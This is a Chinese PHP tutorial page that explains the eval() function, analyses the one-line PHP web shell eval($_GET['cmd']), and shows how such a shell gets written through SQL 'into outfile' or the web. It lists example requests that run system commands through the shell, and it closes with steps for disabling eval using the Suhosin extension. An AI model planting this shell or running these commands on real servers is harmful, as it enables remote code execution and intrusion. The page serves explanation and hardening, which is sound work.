• 技术文章 >php教程 >php手册

    eval函数简介与PHP一句话木马剖析

    2016-06-06 19:57:52原创2550

    eval函数简介与PHP一句话木马剖析 大家好我是Carol,我的QQ是:906871417 一:eval函数 1. eval() 函数把字符串按照 PHP 代码来计算。 2. 该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3. 如果没有在代码字符串中调用 return 语句,则返回 NULL 。如果

    eval函数简介与PHP一句话木马剖析

    大家好我是Carol,我的QQ是:906871417

    一:eval函数

    1.eval() 函数把字符串按照 PHP 代码来计算。

    2.该字符串必须是合法的 PHP 代码,且必须以分号结尾。

    3.如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false

    二:eval函数的一般用法

    $string = "beautiful";

    $time = "winter";

    $str = 'This is a $string $time morning!';

    echo $str. "
    ";

    eval("\$str = \"$str\";");

    echo $str;

    ?>

    输出

    This is a $string $time morning!

    This is a beautiful winter morning!

    三:eval函数的特殊用法

    eval($_GET["cmd"]);

    四:php一句话挂马的原理

    1.通过数据库写马:

    select "" into outfile "D:\\phpStudy\\WWW\\bb.php",不过这个命令是DBweb在同一台机器的时候可以这样执行

    2.通过web写马

    eval($_GET["cmd"]);

    ?>

    访问:

    http://localhost/aa.php?cmd=fwrite(fopen("aa.txt", "w"),"hello,world!");

    查看phpshell信息:

    http://localhost/aa.php?cmd=phpinfo();

    查看当前运行的服务

    http://localhost/aa.php?cmd=system("net start");

    五:禁用eval函数

    无论是linux服务器还是windows服务器,eval命令是非常危险的

    如何禁用eval命令

    php.ini中这样设置disable_functions =eval是无法禁用eval的,根据php手册说明,eval是一个语言构造器而不是一个函数。如果要禁用eval,则需要第三方扩展,使Suhosin

    linux下安装:

    php的安装就不写了

    suhosin的安装

    wget http://download.suhosin.org/suhosin-0.9.23.tgz

    tar zxvfsuhosin-0.9.23.tgz

    cd suhosin-0.9.23

    /usr/local/php/bin/phpize //这一步不能省

    ./configure --with-php-config=/usr/local/php/bin/php-config //必须在这儿注明php-config所在的绝对路径。

    make

    make install

    Installing shared extensions: /usr/local/php/lib/php/extensions/no-debug-non-zts-20060613/

    然后在php.ini中增加一行下列语句。

    extension=suhosin.so

    suhosin.executor.disable_eval = on

    参考文档: http://ju.outofmemory.cn/entry/29300

    声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn核实处理。
    上一篇:构建安全的apache+mysql+php的web服务器 下一篇:微信公众平台实现音乐点播(PHP版)
    千万级数据并发解决方案

    相关文章推荐

    • PHP获取网卡地址的代码• 第十四节 命名空间 [14]• php设计模式 Factory(工厂模式)• PHP 设置MySQL连接字符集的方法• 一天学会PHP~!
    1/1

    PHP中文网